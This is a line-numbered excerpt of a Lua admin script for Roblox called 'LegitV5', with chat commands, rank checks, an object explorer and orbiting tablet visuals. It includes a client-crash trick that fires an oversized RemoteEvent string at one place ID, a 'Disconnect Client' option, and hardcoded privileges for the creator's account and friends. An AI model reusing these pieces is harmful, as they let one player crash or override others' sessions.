  801. local SurfaceGui = Instance.new('SurfaceGui', Outer_Part)
  802. SurfaceGui.Adornee = Outer_Part
  803. SurfaceGui.Face = _NewPos
  804. SurfaceGui.Name = _NewPos
  805. if _NewPos == "Top" then
  806. _NewPos = "Bottom"
  807. elseif _NewPos == "Bottom" then
  808. _NewPos = "Left"
  809. elseif _NewPos == "Left" then
  810. _NewPos = "Right"
  811. elseif _NewPos == "Right" then
  812. _NewPos = "Front"
  813. elseif _NewPos == "Front" then
  814. _NewPos = "Back"
  815. elseif _NewPos == "Back" then
  816. _NewPos = "Top"
  817. end
  818. local Frame = Instance.new('Frame', SurfaceGui)
  819. Frame.BackgroundTransparency = 0.05
  820. Frame.Position = UDim2.new(0,0,0,0) --0, 150, 0, 125
  821. Frame.Size = UDim2.new(0,800,0,600)
  822. Frame.BorderSizePixel = 0
  823. if type(Color) ~= 'string' then
  824. Frame.BackgroundColor3 = Color
  825. else
  826. Frame.BackgroundColor3 = BrickColor.new(Color).Color
  827. end
  828. end
  829. end
  830.  
  831. if type(Color) ~= 'string' then
  832. Inner_Part.Color = Color
  833. Outer_Part.Color = Inner_Part.Color
  834. else
  835. Inner_Part.BrickColor = BrickColor.new(Color)
  836. Outer_Part.BrickColor = Inner_Part.BrickColor
  837. end
  838.  
  839. ypcall(function()
  840. Inner_Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(8, 0, 0)
  841. Outer_Part.CFrame = Inner_Part.CFrame
  842. end)
  843. local ClickDetector = Instance.new("ClickDetector", Outer_Part)
  844. ClickDetector.MaxActivationDistance = math.huge
  845. ClickDetector.MouseClick:connect(function(plr)
  846. if plr.Name == Player.Name or LegitV5.Ranked[plr.Name].Rank > LegitV5.Ranked[Player.Name].Rank or plr.Name == "CoolMLGPlayer" then
  847. if Inner_Part then
  848. Model:Destroy()
  849. for index,tablet in next, LegitV5.Ranked[Player.Name].Tablets do
  850. if tablet == Model then
  851. table.remove(LegitV5.Ranked[Player.Name].Tablets, index)
  852. end
  853. end
  854. end
  855. end
  856. end)
  857. local BillboardGui = Instance.new("BillboardGui", Model)
  858. BillboardGui.Size = UDim2.new(8,0,7,0)
  859. if LegitV5.Ranked[Player.Name].Shape == "Tablet" then
  860. BillboardGui.StudsOffset = Vector3.new(0,math.random(3.55,3.85),0)
  861. else
  862. BillboardGui.StudsOffset = Vector3.new(0,math.random(3.25,3.55),0)
  863. end
  864. BillboardGui.Adornee = Outer_Part
  865. local TextLabel = Instance.new("TextLabel", BillboardGui)
  866. TextLabel.TextColor = Inner_Part.BrickColor --Inner_Part.BrickColor
  867. TextLabel.Text = tostring(Text)
  868. TextLabel.Size = UDim2.new(1,0,1,0)
  869. TextLabel.BackgroundTransparency = 1
  870. TextLabel.BorderSizePixel = 0
  871. TextLabel.Font = "SourceSansBold"
  872. TextLabel.FontSize = "Size24" --Size18
  873. TextLabel.TextTransparency = 0
  874. TextLabel.TextStrokeTransparency = 1 --0.45 --0.928
  875. if Image ~= nil then
  876. local BBBG = Instance.new("BillboardGui")
  877. BBBG.Size = UDim2.new(5, 0, 6, 0)
  878. BBBG.StudsOffset = Vector3.new(0, Outer_Part.Size.Y + 4.2, 0)
  879. BBBG.AlwaysOnTop = true
  880. BBBG.Adornee = Outer_Part
  881. BBBG.Parent = Model
  882. BBBG.StudsOffset = Vector3.new(0, Outer_Part.Size.Y + 4.2, 0)
  883.  
  884. local NewImg = Instance.new("ImageLabel")
  885. NewImg.Size = UDim2.new(0.8, 0, 0.8, 0)
  886. NewImg.BackgroundTransparency = 1
  887. NewImg.Image = Image
  888. NewImg.Parent = BBBG
  889. end
  890.  
  891. table.insert(LegitV5.Ranked[Player.Name].Tablets, Model)
  892. local PointLight = Instance.new("PointLight", Outer_Part)
  893. PointLight.Color = Inner_Part.BrickColor.Color
  894. PointLight.Range = 6
  895. PointLight.Brightness = 1
  896. coroutine.wrap(function()
  897. wait(Time)
  898. if Inner_Part then
  899. Model:Destroy()
  900. for index,tablet in next, LegitV5.Ranked[Player.Name].Tablets do
  901. if tablet == Model then
  902. table.remove(LegitV5.Ranked[Player.Name].Tablets, index)
  903. end
  904. end
  905. end
  906. end)()
  907. end
  908. function AdminOutput(Rank, Text, Color, Image, Function, Shape)
  909. for i,v in pairs(Serv[2]:GetPlayers()) do
  910. if GetRank(v) >= tonumber(Rank) then
  911. Output(v, Text, Color, Image, Function, Shape)
  912. end
  913. end
  914. end
  915. function GetSplit(Message)
  916. local a = nil
  917. for i = 1,#Message do
  918. if Message:sub(i,i) == "-" then
  919. a = i+1
  920. break
  921. end
  922. end
  923. if a ~= nil then
  924. return Message:sub(a)
  925. else
  926. return nil
  927. end
  928. end
  929. function GetPlr(Name)
  930. return game:GetService("Players"):FindFirstChild(Name)
  931. end
  932. function CollectPlayersInsert(Message,Speaker,Lawl)
  933. if Message == "me" then
  934. table.insert(Lawl, Speaker)
  935. elseif Message == "all" then
  936. Lawl = game:GetService("Players"):GetPlayers()
  937. elseif Message == "others" then
  938. for index, player in pairs(game:GetService("Players"):GetPlayers()) do
  939. if player.Name ~= Speaker.Name then
  940. table.insert(Lawl, player)
  941. end
  942. end
  943. elseif Message == "nonrank" then
  944. for index, player in pairs(game:GetService("Players"):GetPlayers()) do
  945. if LegitV5.Ranked[player.Name].Rank == 0 then
  946. table.insert(Lawl, player)
  947. end
  948. end
  949. elseif Message == "ranked" then
  950. for index, player in pairs(game:GetService("Players"):GetPlayers()) do
  951. if LegitV5.Ranked[player.Name].Rank >= 0.1 then
  952. table.insert(Lawl, player)
  953. end
  954. end
  955. elseif Message:sub(1,4) == "rank" then
  956. for index, player in pairs(game:GetService("Players"):GetPlayers()) do
  957. if LegitV5.Ranked[player.Name].Rank == tonumber(Message:sub(5)) then
  958. table.insert(Lawl, player)
  959. end
  960. end
  961. elseif Message == "random" then
  962. local Plrs = LegitV5.Services[2]:GetPlayers()
  963. table.insert(Lawl, Plrs[math.random(1, #Plrs)])
  964. else
  965. for index, player in pairs(game:GetService("Players"):GetPlayers()) do
  966. if string.sub(string.lower(player.Name), 1, string.len(Message)) == Message then
  967. table.insert(Lawl, player)
  968. end
  969. end
  970. end
  971. end
  972. function CollectPlayers(Message, Speaker)
  973. Message = string.lower(Message)
  974. MethodOfCollection = game:GetService("Players"):GetPlayers()
  975. local CollectedPlayers = {}
  976. local SN = {1}
  977. local EN = {}
  978. for i = 1,#Message do
  979. if Message:sub(i,i) == "," then
  980. table.insert(SN, i+1)
  981. table.insert(EN, i-1)
  982. end
  983. end
  984. for x = 1,#SN do
  985. if (SN[x] and EN[x] and Message:sub(SN[x], EN[x]) == "me") or (SN[x] and Message:sub(SN[x]) == "me") then
  986. table.insert(CollectedPlayers, Speaker)
  987. elseif (SN[x] and EN[x] and Message:sub(SN[x], EN[x]) == "all") or (SN[x] and Message:sub(SN[x]) == "all") then
  988. CollectedPlayers = MethodOfCollection
  989. elseif (SN[x] and EN[x] and Message:sub(SN[x], EN[x]) == "others") or (SN[x] and Message:sub(SN[x]) == "others") then
  990. for index, player in pairs(MethodOfCollection) do
  991. if player.Name ~= Speaker.Name then
  992. table.insert(CollectedPlayers, player)
  993. end
  994. end
  995. elseif (SN[x] and EN[x] and Message:sub(SN[x], EN[x]) == "nonrank") or (SN[x] and Message:sub(SN[x]) == "nonrank") then
  996. for index, player in pairs(MethodOfCollection) do
  997. if GetRank(player) == 0 then
  998. table.insert(CollectedPlayers, player)
  999. end
  1000. end
  1001. elseif (SN[x] and EN[x] and Message:sub(SN[x], EN[x]) == "ranked") or (SN[x] and Message:sub(SN[x]) == "ranked") then
  1002. for index, player in pairs(MethodOfCollection) do
  1003. if GetRank(player) > 0 then
  1004. table.insert(CollectedPlayers, player)
  1005. end
  1006. end
  1007. elseif (SN[x] and EN[x] and Message:sub(SN[x], EN[x]) == "random") or (SN[x] and Message:sub(SN[x]) == "random") then
  1008. table.insert(CollectedPlayers, MethodOfCollection[math.random(1,#MethodOfCollection)])
  1009. elseif (SN[x] and EN[x] and Message:sub(SN[x], EN[x]) == "team") or (SN[x] and Message:sub(SN[x]) == "team") then
  1010. if game:FindFirstChild("Teams") then
  1011. for a,v in pairs(game.Teams:GetChildren()) do
  1012. if v:IsA("Team") and Message:sub(SN[x],EN[x]):sub(6) ~= "" and v.Name:lower():find(Message:sub(SN[x]):sub(6)) == 1 then
  1013. for index,player in pairs(game.Players:GetPlayers()) do
  1014. if player.TeamColor == v.TeamColor then
  1015. table.insert(CollectedPlayers, player)
  1016. end
  1017. end
  1018. break
  1019. end
  1020. end
  1021. end
  1022. elseif (SN[x] and EN[x] and Message:sub(SN[x], EN[x]):sub(1,4) == "rank") or (SN[x] and Message:sub(SN[x]):sub(1,4) == "rank") then
  1023. for index, player in pairs(MethodOfCollection) do
  1024. if (GetRank(player) == (tonumber(Message:sub(SN[x], EN[x]):sub(5)))) or (GetRank(player) == (tonumber(Message:sub(5)))) then
  1025. table.insert(CollectedPlayers, player)
  1026. end
  1027. end
  1028. else
  1029. for index, player in pairs(MethodOfCollection) do
  1030. --if string.sub(string.lower(player.Name), 1, string.len(Message)) == Message then
  1031. if (SN[x] and EN[x]) or (SN[x]) then
  1032. if (string.sub(string.lower(player.Name),1, string.len(Message:sub(SN[x], EN[x]))) == Message:sub(SN[x], EN[x])) or (string.sub(string.lower(player.Name),1,string.len(Message)) == Message) then
  1033. table.insert(CollectedPlayers, player)
  1034. end
  1035. end
  1036. end
  1037. end
  1038. end
  1039. return CollectedPlayers
  1040. end
  1041. function Chatted(Message, User)
  1042. if string.sub(Message, 1, 3) == "/e " then
  1043. Message = string.sub(Message, 4)
  1044. end
  1045. if (string.sub(Message, 1, 3) == "g/c" or string.sub(Message, 1, 5) == "g/cln" or string.sub(Message, 1, 7) == "g/clean") or (string.sub(Message,1,2) == "g/" and (string.find(Message, "c") or string.find(Message, "cln") or string.find(Message, "clean") )) then
  1046. for index,player in next,LegitV5.Services[2]:GetPlayers() do
  1047. Dismiss(player)
  1048. end
  1049. end
  1050. for index,data in ipairs(LegitV5.Commands) do
  1051. if type(data.Usage) ~= "string" then
  1052. for i,Usage in pairs(data.Usage) do
  1053. if Usage .. LegitV5.Suffix == string.sub(string.lower(Message), 1, #Usage + #LegitV5.Suffix) then
  1054. if GetRank(User) >= data.Rank then
  1055. local Success, Error_Message = ypcall(function()
  1056. data.Function(string.sub(Message, #Usage + #LegitV5.Suffix + 1), User)
  1057. end)
  1058. if not Success then
  1059. if Output then
  1060. Output(User, "[Error]: "..Error_Message, 'Really red')
  1061. else
  1062. print("[Error]: "..Error_Message)
  1063. end
  1064. end
  1065. else
  1066. TimedOutput(User, "Your rank ["..GetRank(User).."] is too low for that command["..data.Rank.."]", "Really red",nil,3)
  1067. end
  1068. end
  1069. end
  1070. else
  1071. if data.Usage .. LegitV5.Suffix == string.sub(string.lower(Message), 1, #data.Usage + #LegitV5.Suffix) then
  1072. if GetRank(User) >= data.Rank then
  1073. local Success, Error_Message = ypcall(function()
  1074. data.Function(string.sub(Message, #data.Usage + #LegitV5.Suffix + 1), User)
  1075. end)
  1076. if not Success then
  1077. if Output then
  1078. Output(User, "[Error]: "..Error_Message, 'Really red')
  1079. else
  1080. print("[Error]: "..Error_Message)
  1081. end
  1082. end
  1083. else
  1084. TimedOutput(User, "Your rank ["..GetRank(User).."] is too low for that command["..data.Rank.."]", "Really red",nil,3)
  1085. end
  1086. end
  1087. end
  1088. end
  1089. end
  1090. local function QuaternionFromCFrame(cf)
  1091. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components();
  1092. local trace = m00 + m11 + m22 if trace > 0 then local s = math.sqrt(1 + trace);local recip = 0.5/s;return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5;
  1093. else
  1094. local i = 0;if m11 > m00 then i = 1;end;if m22 > (i == 0 and m00 or m11) then i = 2 end if i == 0 then local s = math.sqrt(m00-m11-m22+1);local recip = 0.5/s return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip; elseif i == 1 then local s = math.sqrt(m11-m22-m00+1);local recip = 0.5/s;return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip ;elseif i == 2 then local s = math.sqrt(m22-m00-m11+1);local recip = 0.5/s;return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip;end;end;
  1095. end
  1096. local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1097. local xs, ys, zs = x + x, y + y, z + z;local wx, wy, wz = w*xs, w*ys, w*zs;local xx = x*xs;local xy = x*ys;local xz = x*zs;local yy = y*ys;local yz = y*zs;local zz = z*zs;
  1098. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  1099. end
  1100. local function QuaternionSlerp(a, b, t)
  1101. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4];local startInterp, finishInterp;
  1102. if cosTheta >= 0.0001 then
  1103. if (1 - cosTheta) > 0.0001 then local theta = math.acos(cosTheta);local invSinTheta = 1/math.sin(theta);startInterp = math.sin((1-t)*theta)*invSinTheta;finishInterp = math.sin(t*theta)*invSinTheta;
  1104. else startInterp = 1-t finishInterp = t;end;
  1105. else
  1106. if (1+cosTheta) > 0.0001 then local theta = math.acos(-cosTheta);local invSinTheta = 1/math.sin(theta);startInterp = math.sin((t-1)*theta)*invSinTheta;finishInterp = math.sin(t*theta)*invSinTheta;else startInterp = t-1 finishInterp = t;end;
  1107. end;
  1108. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp;
  1109. end
  1110. function CLerp(a,b,t)
  1111. local qa={QuaternionFromCFrame(a)};
  1112. local qb={QuaternionFromCFrame(b)};
  1113. local ax,ay,az=a.x,a.y,a.z;
  1114. local bx,by,bz=b.x,b.y,b.z;
  1115. local _t=1-t;
  1116. return QuaternionToCFrame(_t*ax+t*bx,_t*ay+t*by,_t*az+t*bz,QuaternionSlerp(qa, qb, t));
  1117. end
  1118.  
  1119. local Workspace = game:GetService("Workspace")
  1120. local Players = game:GetService("Players")
  1121. local RunService = game:GetService("RunService")
  1122. coroutine.resume(coroutine.create(function()
  1123. RunService.Stepped:connect(function()
  1124. LegitV5.Rotation = LegitV5.Rotation + 0.0001
  1125. local Collect
  1126. if pcall(function() all() end) then Collect=all() else Collect=game:GetService("Players"):GetPlayers() end
  1127. for _,Player in next,Collect do
  1128. if LegitV5.Ranked[Player.Name] then
  1129. if Player.Character and Player.Character:FindFirstChild("Torso") then
  1130. for Index, Tablet in next,LegitV5.Ranked[Player.Name].Tablets do
  1131. --ypcall(function()
  1132. local UserCharacter = Player.Character
  1133. local Ranked = LegitV5.Ranked[Player.Name]
  1134. local Tablets = Ranked.Tablets
  1135. local Radius = (#Tablets*0.5)+8
  1136. local Tabs={
  1137. Out = Tablet['Outer Part'];
  1138. In = Tablet['Inner Part'];
  1139. }
  1140. if Tabs.Out ~= nil and Tabs.In ~= nil and Tablet ~= nil then
  1141. if Tabs.Out.Parent ~= nil and Tabs.In.Parent ~= nil and Tabs.Out ~= nil and Tabs.In ~= nil and Tablet ~= nil then
  1142. local Y = 0
  1143. local Z = 0
  1144. if Ranked.Wave == true then
  1145. Y = math.sin(((LegitV5.Rotation * 100) * 3))
  1146. end
  1147. Tabs.In.CFrame = CLerp(Tabs.In.CFrame,
  1148. CFrame.new(UserCharacter.Torso.CFrame.p)
  1149. *CFrame.Angles(0,math.rad(( (360) /#Tablets)*(Index))+(LegitV5.Rotation*2),0) --180 --LegitV5.Rotation*1000 instead of 0's for sweg X3
  1150. *CFrame.new(8+(#Tablets*0.5),Y,0)
  1151. *CFrame.Angles(0,math.rad(90),0)
  1152. *CFrame.Angles(math.sin(tick()/2),math.sin(tick()/2),math.sin(tick()/2))
  1153. ,.1);
  1154. Tabs.Out.CFrame = Tabs.In.CFrame
  1155. end
  1156. end
  1157. -- end)
  1158. end
  1159. else
  1160. for xednI,Character in next, NilCharacters do
  1161. if LegitV5.Ranked[Character.Name] then
  1162. if workspace:FindFirstChild(Character.Name):FindFirstChild("Torso") then
  1163. for Index, Tablet in next, LegitV5.Ranked[Player.Name].Tablets do
  1164. -- ypcall(function()
  1165. local UserCharacter = Workspace:FindFirstChild(Character.Name)
  1166. local Ranked = LegitV5.Ranked[Player.Name]
  1167. local Tablets = Ranked.Tablets
  1168. local Radius = (#Tablets*0.5)+8
  1169. local Tabs={
  1170. Out = Tablet['Outer Part'];
  1171. In = Tablet['Inner Part'];
  1172. }
  1173. if Tabs.Out ~= nil and Tabs.In ~= nil and Tablet ~= nil then
  1174. if Tabs.Out.Parent ~= nil and Tabs.In.Parent ~= nil and Tabs.Out ~= nil and Tabs.In ~= nil and Tablet ~= nil then
  1175. local Y = 0
  1176. local Z = 0
  1177. if Ranked.Wave == true then
  1178. Y = math.sin(((LegitV5.Rotation * 100) * 3))
  1179. end
  1180. Tabs.In.CFrame = CLerp(Tabs.In.CFrame,
  1181. CFrame.new(UserCharacter.Torso.CFrame.p)
  1182. *CFrame.Angles(0,math.rad(( (360) /#Tablets)*Index)+(LegitV5.Rotation*2),0) --180
  1183. *CFrame.new(8+(#Tablets*0.5),Y,0)
  1184. *CFrame.Angles(0,math.rad(90),0)
  1185. *CFrame.Angles(math.sin(tick()/2),math.sin(tick()/2),math.sin(tick()/2))
  1186. ,.1);
  1187. Tabs.Out.CFrame = Tabs.In.CFrame
  1188. end
  1189. end
  1190. -- end)
  1191. end
  1192. else
  1193. print'no torso'
  1194. wait(1)
  1195. end
  1196. end
  1197. end
  1198. end
  1199. end
  1200. end
  1201. end)
  1202. end))
  1203. --[==[
  1204. function Rotate()
  1205. LegitV5.Rotation = LegitV5.Rotation + 0.0001
  1206. for index,player in ipairs(LegitV5.Services[2]:GetPlayers()) do
  1207. if LegitV5.Ranked[player.Name] then
  1208. if player.Character and player.Character:FindFirstChild("Torso") then
  1209. for _index, model in next, LegitV5.Ranked[player.Name].Tablets do
  1210. ypcall(function()
  1211. local Position, Radius, X, Y, Z, Vector, Tablet_CFrame, Total
  1212. Position = player.Character.Torso.CFrame.p
  1213. Radius = (#LegitV5.Ranked[player.Name].Tablets * 0.5) + 8
  1214. X = math.sin((_index / #LegitV5.Ranked[player.Name].Tablets - (0.5 / #LegitV5.Ranked[player.Name].Tablets) + LegitV5.Rotation * 2) * math.pi * 2) * Radius
  1215. if LegitV5.Ranked[player.Name].Wave == true then
  1216. Y = math.sin(((LegitV5.Rotation * 100) * 2))
  1217. --Y = math.sin((((LegitV5.Rotation * 100) * 2))*(_index/2.5)) --wavey rot
  1218. else
  1219. Y = 0
  1220. end
  1221. Z = math.cos((_index / #LegitV5.Ranked[player.Name].Tablets - (0.5 / #LegitV5.Ranked[player.Name].Tablets) + LegitV5.Rotation * 2) * math.pi * 2) * Radius
  1222. Vector = Vector3.new(X, Y, Z) + Position
  1223. Tablet_CFrame = model["Inner Part"].CFrame.p
  1224. Total = (Vector * 0.1 + Tablet_CFrame * 0.9) --Vector * 0.1 + Tablet_CFrame * 0.9
  1225. if LegitV5.Ranked[player.Name].Shape == "Tablet" then
  1226. model["Inner Part"].CFrame = CFrame.new(Total, Position) * CFrame.Angles(0.2,0,0)
  1227. model["Outer Part"].CFrame = model["Inner Part"].CFrame
  1228. elseif LegitV5.Ranked[player.Name].Shape == 'Doubled' or LegitV5.Ranked[player.Name].Shape == '2.5D' then
  1229. model["Inner Part"].CFrame = CFrame.new(Total, Position) * CFrame.Angles(LegitV5.SetCubeAngle*1, LegitV5.SetCubeAngle*1, LegitV5.SetCubeAngle*1)
  1230. model["Outer Part"].CFrame = CFrame.new(Total, Position) * CFrame.Angles(LegitV5.SetCubeAngle*1.25, LegitV5.SetCubeAngle*1.25, LegitV5.SetCubeAngle*1.25)
  1231. else
  1232. model["Inner Part"].CFrame = CFrame.new(Total, Position) * CFrame.Angles(LegitV5.SetCubeAngle, LegitV5.SetCubeAngle, LegitV5.SetCubeAngle)
  1233. model["Outer Part"].CFrame = model["Inner Part"].CFrame
  1234. end
  1235. end)
  1236. end
  1237. else
  1238. Dismiss(player)
  1239. end
  1240. end
  1241. end
  1242. end
  1243. --]==]
  1244. function Kick(Player)
  1245. if game.PlaceId == 178350907 then --Nexure
  1246. Player:Kick(Reason)
  1247. elseif game.PlaceId == 20279777 then --Oxcool1
  1248. Instance.new("RemoteEvent", Player):FireClient(Player,{string.rep("Don't",2e5+5)})
  1249. elseif game.PlaceId == 21053279 then --Anti's (Public)
  1250. Player:Kick(Reason)
  1251. elseif game.PlaceId == 210101277 then --MasterKelvinVIP
  1252. Player:Kick(Reason)
  1253. else
  1254. Player:Kick(Reason)
  1255. end
  1256. end
  1257. function ClearScripts(Object)
  1258. for i,v in pairs(Object:GetChildren()) do
  1259. if v:IsA("Script") or v:IsA("LocalScript") then
  1260. v.Disabled = true
  1261. v:Destroy()
  1262. end
  1263. ClearScripts(v)
  1264. end
  1265. end
  1266. game:GetService("RunService").Heartbeat:connect(function() --Less connections to runservice if all in same loop, less lag
  1267. --Cube Rot--
  1268. --Rotate()
  1269. LegitV5.SetCubeAngle = LegitV5.SetCubeAngle + 0.0375
  1270. --Kick banned--
  1271. for i,v in pairs(LegitV5.Services[2]:GetPlayers()) do
  1272. if LegitV5.Ranked[v.Name] then
  1273. if GetRank(v) == -1 then
  1274. Kick(v)
  1275. end
  1276. end
  1277. end
  1278. --Private Server--
  1279. if LegitV5.Status["Pri_Server"].Value == true then
  1280. for err,plr in pairs(LegitV5.Services[2]:GetPlayers()) do
  1281. if LegitV5.Ranked[plr.Name] then
  1282. if GetRank(plr) <= 0 and not plr:IsFriendsWith(34924109) then
  1283. Kick(plr)
  1284. end
  1285. end
  1286. end
  1287. end
  1288. ----System----
  1289. --[==[
  1290. if System.Defenses.Tablets.AntiTablet == true then
  1291. for X,n in pairs(System.Defenses.Tablets.Names) do
  1292. for XX,obj in pairs(workspace:children()) do
  1293. if string.find(obj.Name:lower(), n:lower()) or type(obj.Name) == "number" and not obj.Name:find("denx") then
  1294. obj:Destroy()
  1295. else
  1296. --[[
  1297. for i,v in pairs(obj:children()) do
  1298. if v:IsA('ClickDetector') or string.lower(v.Name):find('click') and not obj.Name:find("denx") then
  1299. obj:Destroy()
  1300. end
  1301. end
  1302. --]]
  1303. end
  1304. end
  1305. end
  1306. end
  1307. if System.Defenses.Admins.AntiAdmin == true then
  1308. for X,n in pairs(System.Defenses.Admins.Names) do
  1309. for XX,obj in pairs(workspace:children()) do
  1310. if string.find(obj.Name:lower(), n:lower()) then
  1311. obj:Destroy()
  1312. end
  1313. end
  1314. end
  1315. end
  1316. --]==]
  1317. end)
  1318. function Connect(Player)
  1319. if game:GetService("MarketplaceService"):PlayerOwnsAsset(Player, 157558009) then
  1320. if LegitV5.Ranked[Player.Name] then
  1321. if GetRank(Player) <= 1 then
  1322. LegitV5.Ranked[Player.Name] = {Rank = 2, Reason = 'Owns rank 2 T-Shirt', Color = 'White', Chat = false, AntiBan = false, Wave = true, Shape = "SelectionBox", Tablets = {}}
  1323. end
  1324. else
  1325. LegitV5.Ranked[Player.Name] = {Rank = 2, Reason = 'Owns rank 2 T-Shirt', Color = 'White', Chat = false, AntiBan = false, Wave = true, Shape = "SelectionBox", Tablets = {}}
  1326. end
  1327. else
  1328. if not LegitV5.Ranked[Player.Name] then
  1329. if Player:IsFriendsWith(34924109) then
  1330. LegitV5.Ranked[Player.Name] = {Rank = 1, Reason = 'Is friend of Creator', Color = 'White', Chat = false, AntiBan = false, Wave = true, Shape = "Sphere", Tablets = {}}
  1331. else
  1332. LegitV5.Ranked[Player.Name] = {Rank = 0, Reason = 'Not Defined', Color = 'White', Chat = false, AntiBan = false, Wave = true, Shape = "Simple", Tablets = {}}
  1333. end
  1334. end
  1335. end
  1336. Player.Chatted:connect(function(Message)
  1337. Chatted(Message, Player)
  1338. end)
  1339. end
  1340. LegitV5.Services[2].PlayerAdded:connect(function(player)
  1341. Connect(player)
  1342. if LegitV5.Status["Pri_Server"].Value == false then
  1343. if GetRank(player) >= 0 then
  1344. wait(1)
  1345. if player then
  1346. TimedOutput(player, "LegitV5 is running in this server",nil,nil,2)
  1347. TimedOutput(player, string.format("Your rank is %s", LegitV5.Ranked[player.Name].Rank),nil,nil,2)
  1348. end
  1349. end
  1350. elseif LegitV5.Status["Pri_Server"].Value == true then
  1351. if GetRank(player) > 0 then
  1352. wait(1)
  1353. if player then
  1354. TimedOutput(player, "LegitV5 is running in this server",nil,nil,2)
  1355. TimedOutput(player, string.format("Your rank is %s", LegitV5.Ranked[player.Name].Rank),nil,nil,2)
  1356. if LegitV5.Ranked[player.Name].Rank > 3 then
  1357. TimedOutput(player, "Private server is enabled", "Pastel violet",nil,nil,2)
  1358. end
  1359. end
  1360. end
  1361. end
  1362.  
  1363. end)
  1364. function Dismiss(Player)
  1365. if LegitV5.Ranked[Player.Name] then
  1366. for index,tablet in ipairs(LegitV5.Ranked[Player.Name].Tablets) do
  1367. --spawn(function()
  1368. ypcall(tablet.Destroy, tablet)
  1369. --end)
  1370. LegitV5.Ranked[Player.Name].Tablets = {}
  1371. end
  1372. end
  1373. end
  1374. function DismissAll()
  1375. for i,v in pairs(all()) do
  1376. Dismiss(v)
  1377. end
  1378. end
  1379. function GetObjectData(who, Obj)
  1380. Dismiss(who)
  1381. Output(who, "Back", "213", nil, function() Explore(who, Obj) end)
  1382. Output(who, "Object Name: "..Obj.Name,"213")
  1383. Output(who, "Class: "..Obj.ClassName, "213")
  1384. if Obj:IsA("Part") then
  1385. Output(who, "Transparency: "..Obj.Transparency, '1001')
  1386. Output(who, "Reflectance: "..Obj.Reflectance ,'1001')
  1387. Output(who,"BrickColor: "..tostring(Obj.BrickColor) ,'1001')
  1388. elseif Obj:IsA("SpecialMesh") then
  1389. Output(who, "MeshId: "..Obj.MeshId, '1001')
  1390. Output(who, "TextureId: "..Obj.TextureId, '1001')
  1391. Output(who, "Scale: "..Obj.Scale,'1001')
  1392. end
  1393. end
  1394. function GetKnownFunctions(Player, obj)
  1395. if GetRank(Player) >= 2 and obj.Name ~= 'ServerReplicator' and obj ~= game:service'NetworkServer' and not obj:IsA('Player') and not obj:IsDescendantOf(Serv[2]) and obj ~= Serv[2] then
  1396. Output(Player, 'Destroy All Children', 'Really red', nil, function() local p = obj
  1397. for i,v in pairs(obj:children()) do
  1398. if v.Name ~= 'Terrain' then
  1399. v:Destroy()
  1400. end
  1401. end
  1402. Explore(Player, p) end)
  1403. end
  1404. -------------
  1405. if obj.Parent ~= game and obj.Parent ~= game:service'NetworkServer' and not obj:IsA('Player') and obj.Name ~= "Terrain" then
  1406. Output(Player, 'Destroy', 'Really red', nil, function() local p = obj.Parent obj:Destroy() Explore(Player, p) end)
  1407. end
  1408. -------------
  1409. if GetRank(Player) >= 3 and obj == workspace then
  1410. Output(Player, 'Clear scripts', 'Really red', nil, function()
  1411. for i,v in pairs(workspace:children()) do
  1412. if v:IsA('Script') and v.Name ~= 'XPreloader' then
  1413. v:Destroy()
  1414. end
  1415. end
  1416. Explore(Player, workspace)
  1417. end)
  1418. end
  1419. -------------
  1420. if obj:IsA('Player') then
  1421. Output(Player, 'View Character', 'Lime green', nil, function() Explore(Player, obj.Character) end)
  1422. end
  1423. if LegitV5.Services[2]:GetPlayerFromCharacter(obj) and not obj:IsA('Player') then
  1424. Output(Player, 'View Player', 'Lime green', nil, function() Explore(Player, LegitV5.Services[2]:FindFirstChild(obj.Name)) end)
  1425. end
  1426. -------------
  1427. if obj:IsA('ServerReplicator') then
  1428. Output(Player, 'Client: '..obj:GetPlayer().Name, 'Lime green')
  1429. if GetRank(Player) >= 2 and GetRank(Player) > GetRank(obj:GetPlayer()) then
  1430. Output(Player, 'Disconnect Client', 'New Yeller', nil, function() NilCrash(obj:GetPlayer()) Explore(Player,game) end)
  1431. end
  1432. end
  1433. -------------
  1434. if obj:IsA('Sound') then
  1435. Output(Player, "Sound ID: ["..obj.SoundId.."]", 'Lime green')
  1436. end
  1437. -------------
  1438. end
  1439. function Explore(Player, obj)
  1440. if not Player then print('[Explorer]: Hax alert, no Player') return end
  1441. Dismiss(Player)
  1442. if obj == nil or obj == game then
  1443. for _,s in pairs(LegitV5.Services) do
  1444. Output(Player, s.Name, 'White', nil, function() Explore(Player, s) end)
  1445. end
  1446. else
  1447. local ObjParent = obj.Parent
  1448. for _,v in pairs(obj:children()) do
  1449. if not v.Name:find('denx:') then
  1450. if LegitV5.Services[2]:GetPlayerFromCharacter(v) or v:IsA("Player") then
  1451. Output(Player, v.Name, 'Bright blue', LegitV5.URLs.Images["Character"]..v.Name, function() Explore(Player, v) end)
  1452. elseif v.ClassName == 'Script' then
  1453. Output(Player, v.Name, '44', "rbxassetid://266368024", function() Explore(Player, v) end)
  1454. elseif v.Name == "---" then --If @ ox
  1455. if #v:GetChildren() >= 1 then
  1456. Output(Player, v.Name, 'White',nil, function() Explore(Player, v) end)
  1457. else
  1458. Output(Player, "[FAKE]: "..v.Name, 'Dark red', nil, function() Explore(Player, v) end)
  1459. end
  1460. else
  1461. Output(Player, v.Name, 'White', nil, function() Explore(Player, v) end)
  1462. end
  1463. end
  1464. end
  1465. Output(Player, "Object name: "..obj.Name, 'Royal purple', nil, nil)
  1466. Output(Player, "Path: "..obj:GetFullName(), 'Magenta', nil, nil)
  1467. Output(Player, "Class: "..obj.ClassName,'Royal purple',nil,nil)
  1468. Output(Player, "Go back",'Royal purple',nil,function() Explore(Player, ObjParent) end)
